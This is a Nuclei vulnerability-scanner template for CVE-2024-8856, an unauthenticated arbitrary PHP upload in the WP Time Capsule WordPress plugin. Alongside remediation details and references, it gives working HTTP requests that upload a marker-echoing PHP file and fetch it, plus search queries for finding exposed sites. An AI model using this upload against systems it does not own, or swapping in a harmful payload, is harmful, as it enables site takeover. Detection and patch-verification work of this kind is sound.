WP Time Capsule Plugin - Remote Code Execution

id: CVE-2024-8856

info:
  name: WP Time Capsule Plugin - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files to the server through missing file type validation, enabling remote code execution and complete WordPress site compromise.
  remediation: |
    Update WP Time Capsule plugin to a version later than 1.22.21 that addresses the arbitrary file upload vulnerability and implements proper file type validation and direct file access prevention.
  reference:
    - https://hacked.be/posts/CVE-2024-8856
    - https://plugins.trac.wordpress.org/browser/wp-time-capsule/trunk/wp-tcapsule-bridge/upload/php/UploadHandler.php
    - https://plugins.trac.wordpress.org/changeset/3188325/
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3153289%40wp-time-capsule&new=3153289%40wp-time-capsule&sfp_email=&sfph_mail=
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/fdc2de78-5601-461f-b2f0-c80b592ccb1b?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8856
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-8856
    cwe-id: CWE-434
    epss-score: 0.93709
    epss-percentile: 0.99829
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/wp-content/plugins/wp-time-capsule/"
    publicwww-query: "/wp-content/plugins/wp-time-capsule/"
  tags: cve,cve2024,intrusive,file-upload,wordpress,wp-plugin,wp,wp-time-capsule,rce,vkev,vuln

variables:
  marker: "{{randstr}}"
  filename: "{{randbase(2)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;boundary=---------------------------26670583928903275361770089688

        -----------------------------26670583928903275361770089688
        Content-Disposition: form-data; name="files"; filename="{{filename}}.php"
        Content-Type: text/php

        <?php echo base64_decode("{{base64(marker)}}"); ?>
        -----------------------------26670583928903275361770089688--

    matchers:
      - type: word
        part: body
        words:
          - 'url":"'
          - '"files":'
          - '"deleteType":'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"
# digest: 490a0046304402202d86e6990c98fdc7c5e56adadee1765b30335fb0b39362975cdeeb452b1340e10220036f238ff001a327d0e997a826c460e6741a9b4474e3a678a20e05ac94714b2c:922c64590222798bb761d5b6d8e72950